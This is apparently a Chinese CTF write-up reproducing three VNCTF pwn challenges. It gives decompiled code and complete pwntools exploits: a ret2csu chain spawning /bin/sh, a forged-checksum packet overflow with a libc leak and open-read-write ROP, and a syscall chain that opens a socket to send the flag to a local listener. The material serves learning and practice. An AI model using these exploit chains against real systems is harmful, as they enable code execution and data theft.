首先反思一下,整场比赛我只看了HideOnHeap和classic_httpd这两道题(因为在最开始的时候这两道题是排在最前面的)。发现毫无思路我就直接开始摆烂了,后面的pwn题也是一道没看,甚至都没下载下来。 拒绝摆烂,从你我做起!
clear_got
这个题目就是一个非常简单的栈溢出,咋一看以为是SROP实际上就是非常基础的ROP即可(愈发觉得自己摆烂不是人了)。
题目分析
1 2 3 4 5 6 7 8 9 10 11 12 13
| int __cdecl main(int argc, const char **argv, const char **envp) { char buf[92]; int v5;
init(argc, argv, envp); memset(buf, 0, 0x50uLL); puts("Welcome to VNCTF! This is a easy competition.///"); read(0, buf, 0x100uLL); v5 = (int)&qword_601008; memset(&qword_601008, 0, 0x38uLL); return 0; }
|
可以看到存在一处栈溢出,然后下面将got表全部清空,但是题目给了两个用syscall直接调用的函数,所以我的第一反应就是SROP,不过WP的方法感觉更为简单,就是ret2csu即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import *
elf = ELF('./clear_got') r = process('./clear_got')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'debug'
bss = elf.bss()+0x20 syscall_ret = 0x40077E
payload = b'a'*(0x60+0x8)+p64(0x4007EA)+p64(0xc01c8) + \ p64(0xc01c9)+p64(0)+p64(59)+p64(bss)+p64(0) payload += p64(0x4007D0)+p64(0)+p64((bss+8)//8)+p64((bss+8)//8+1) + \ p64(0)*3+p64(bss)+p64(syscall_ret)+p64(0x4007D0) payload = payload.ljust(0x100, b'a')
info('bss=>'+hex(bss))
r.send(payload)
payload = b'/bin/sh\x00'+p64(syscall_ret) payload = payload.ljust(59, b'\x00')
r.sendline(payload)
r.interactive()
|
这里比较巧妙的一点就是在最后到0x4007D0这个地址时其实是用call了那个syscall来实现调用的。
easyROPtocol
这道题目的难度也不是很大,关键是把结构体搞清楚就好(真是越看越想打自己)。
题目分析
1 2 3 4 5 6 7 8 9 10 11 12
| struct tcp{ 0x766e; 0x28b7; 0xn001; 0x1; 0x6; 0x1; 0x0; 0x1; 0xffff; }
|
最后推出来的结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| ssize_t sub_401830() { const void *v0; size_t v1; size_t v2; char s[24]; int i; int v6;
v6 = 1; memset(s, 0, 0x3000uLL); while ( dword_40422C ) { for ( i = 0; i <= 3 && (!chunk_arr[i] || *(chunk_arr[i] + 4LL) != v6); ++i ) ; if ( i == 4 ) break; if ( 4 * (*(chunk_arr[i] + 12LL) & 0xF) != 20 && *(chunk_arr[i] + 20LL) ) { v0 = (chunk_arr[i] + 4 * (*(chunk_arr[i] + 12LL) & 0xF)); v1 = strlen(s); memcpy(&s[v1], v0, 0x1000uLL); v6 += 4096; } else { strcpy(s, (4 * (*(chunk_arr[i] + 12LL) & 0xF) + chunk_arr[i])); dword_40422C = 0; } } v2 = strlen(s); write(1, s, v2); return write(1, "Done.\n", 6uLL); }
|
首先是看漏洞函数,这里存在一处栈溢出,memcpy(&s[v1], v0, 0x1000uLL);
但是要实现需要满足上面的条件,这就必须要去搞清楚结构体了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| void sub_40164F() { size_t v0; int v1; int i;
for ( i = 0; i <= 3 && *(&chunk_arr + i); ++i ) ; if ( i != 4 ) { *(&chunk_arr + i) = malloc(0x1000uLL); read(0, *(&chunk_arr + i), 0x1000uLL); v1 = sub_4014AF(*(&chunk_arr + i)); if ( (sub_401590(*(&chunk_arr + i)) & v1) == 1 ) { dword_40422C = 1; } else { v0 = strlen(aBengBuZhuLe); write(2, aBengBuZhuLe, v0); free(*(&chunk_arr + i)); *(&chunk_arr + i) = 0LL; } } }
|
想要成功创建出结构体就必须要通过那个if语句,也就是v1和前面的sub_401590(*(&chunk_arr + i)都为1。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| __int64 __fastcall sub_4014AF(__int64 a1) { __int64 result;
if ( *a1 != 0x766E ) return 0LL; if ( *(a1 + 2) != 0x28B7 ) return 0LL; if ( !*(a1 + 4) ) return 0LL; if ( !*(a1 + 8) ) return 0LL; if ( !*(a1 + 14) ) return 0LL; if ( *(a1 + 18) ) return 0LL; if ( 4 * (*(a1 + 12) & 0xF) == 20 ) goto LABEL_18; if ( 4 * (*(a1 + 12) & 0xF) != 24 ) return 0LL; if ( *(a1 + 22) == 0xFFFF ) LABEL_18: result = 1LL; else result = 0LL; return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| _BOOL8 __fastcall sub_401590(__int64 a1) { char v2[23]; unsigned __int16 j; unsigned __int16 i; __int16 v5;
strcpy(v2, "fakeipheadfa"); *&v2[13] = v2; v5 = 0; for ( i = 0; i <= 5u; ++i ) v5 ^= *(2LL * i + *&v2[13]); *&v2[13] = a1; for ( j = 0; j <= 0x7FFu; ++j ) { if ( j != 8 ) v5 ^= *(2LL * j + *&v2[13]); } return v5 == *(a1 + 16); }
|
很容易就可以推出来结构体(下面这个函数当中是当j!=8我一直以为是chunk_addr+8,结果卡了半个小时发现是2*j(我是傻逼)
程序开启了沙箱所以使用orw即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| from pwn import *
elf = ELF('./pwn') r = process('./pwn') libc = ELF('libc-2.31.so')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'debug'
def package(addr_4, content): pack = p16(0x766e) pack += p16(0x28b7) pack += p32(addr_4) pack += p32(0x1) pack += p16(0x6) pack += p16(0x1) pack += p16(0x0) pack += p16(0x0) pack += p16(0x1) pack += p16(0xffff)+content v2 = 'fakeipheadfa' v5 = 0 for i in range(6): v5 = v5 ^ int(hex(ord(v2[:2][::-1][0])) + hex(ord(v2[:2][::-1][1]))[2:], 16) v2 = v2[2:] a1 = pack for i in range(0x800): v5 = v5 ^ u16(a1[:2]) a1 = a1[2:] pack = pack[:16]+p16(v5)+pack[18:] return pack
def create(content): r.recvuntil(b'4. Quit.') r.sendline(b'1') r.send(content)
def delete(id): r.recvuntil(b'4. Quit.') r.sendline(b'2') r.recvuntil(b'Which?') r.sendline(bytes(str(id), encoding='utf8'))
def vuln(): r.recvuntil(b'4. Quit.') r.sendline(b'3')
pop_rdi = 0x0000000000401bb3 pop_rsi_r15 = 0x0000000000401bb1 main = 0x401A5E write_got = elf.got['write'] write_plt = elf.plt['write'] read_plt = elf.plt['read'] bss = elf.bss()+0x28
create(package(1, b'a'*(0x1000-24))) create(package(0x1001, b'a'*(0x1000-24))) create(package(0x2001, b'a'*(0x1000-24))) payload = b'a'*(0x3020+0x8-(0x1000-24)*3)+p64(pop_rdi) + \ p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main) create(package(0x3001, payload.ljust(0x1000-24, b'\x00')))
vuln() r.recvuntil(b'Done.\n') write_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc_base = write_addr+libc.symbols['write'] open_addr = libc_base+libc.symbols['open'] pop_rdx = libc_base+next(libc.search(asm('pop rdx\nret', arch='amd64'))) pop_rsi = libc_base+next(libc.search(asm('pop rsi\nret', arch='amd64'))) delete(0) delete(1) delete(2) delete(3)
create(package(1, b'a'*(0x1000-24))) create(package(0x1001, b'a'*(0x1000-24))) create(package(0x2001, b'a'*(0x1000-24))) payload = b'a'*(0x3020+0x8-(0x1000-24)*3-6) + p64(pop_rdi) + \ p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x5)+p64(read_plt) payload += p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(open_addr) payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss) + \ p64(pop_rdx)+p64(0x30)+p64(read_plt) payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss) + \ p64(pop_rdx)+p64(0x30)+p64(write_plt) create(package(0x3001, payload.ljust(0x1000-24, b'\x00'))) gdb.attach(r) vuln() r.send(b'flag\x00')
r.interactive()
|
BingDwenDwen
看似是一个简单的栈溢出,但是这道题关闭了三个基本的IO流,所以没法泄漏没法多次什么的,需要用到反弹shell。而且题目又开了沙箱,所以只能使用orw然后将结果写入socket流。
主要流程:open(flag,0) -> read(fd,flag_addr,0x30) -> socket(AF_INET, SOCK_STREAM, IPPROTO_IP) -> dup2(soc,2) -> connect(soc, (struct sockaddr *)&serv_addr,sizeof(struct sockaddr_in)) -> write(2,flag,0x30)。官方的wp写的也很清楚。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import *
elf = ELF('./pwn') r = process('./pwn') libc = ELF('./libc.so.6')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'debug'
pop_rdi = 0x0000000000401356 pop_rsi = 0x0000000000401358 pop_rdx = 0x0000000000401354 pop_rax = 0x000000000040135a syscall_ret = 0x0000000000401351 mov_rdi_rcx = 0x000000000040135f push_rax_pop_rcx = 0x40135C bingdwendwen = 0x403700 flag_addr = bingdwendwen+0x1b0 ip_port = bingdwendwen+0x1c0
payload = b'a'*0x10+p64(pop_rdi)+p64(flag_addr) + \ p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall_ret)
payload += p64(push_rax_pop_rcx)+p64(mov_rdi_rcx) + \ p64(pop_rsi)+p64(flag_addr+0x20)+p64(pop_rdx) + \ p64(0x30)+p64(pop_rax)+p64(0)+p64(syscall_ret)
payload += p64(pop_rdi)+p64(2)+p64(pop_rsi)+p64(1)+p64(pop_rdx) + \ p64(0)+p64(pop_rax)+p64(41)+p64(syscall_ret)
payload += p64(push_rax_pop_rcx)+p64(mov_rdi_rcx)+p64(pop_rsi) + \ p64(2)+p64(pop_rax)+p64(33)+p64(syscall_ret)
payload += p64(pop_rdi)+p64(2)+p64(pop_rsi)+p64(ip_port) + \ p64(pop_rdx)+p64(16)+p64(pop_rax)+p64(42)+p64(syscall_ret)
payload += p64(pop_rdi)+p64(2)+p64(pop_rsi)+p64(flag_addr+0x20) + \ p64(pop_rdx)+p64(0x30)+p64(pop_rax)+p64(1)+p64(syscall_ret)
payload = payload.ljust(0x1b0, b'\x00')+b'./flag' payload = payload.ljust(0x1c0, b'\x00')+p64(0x0100007fe8030002)
r.send(payload)
r.interactive()
|
这里的0x0100007fe8030002分开来看是0x0100007f => 127.0.0.1,0xe803 => 1000,0x0002 => AF_INET
然后在服务器运行
1 2 3 4 5 6 7 8 9 10 11
| import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('localhost', 1000)) server.listen(1) while True: conn, addr = server.accept() try: print(conn.recv(1024)) except Exception as e: conn.close()
|
今天先复现三个了,肝的太晚了!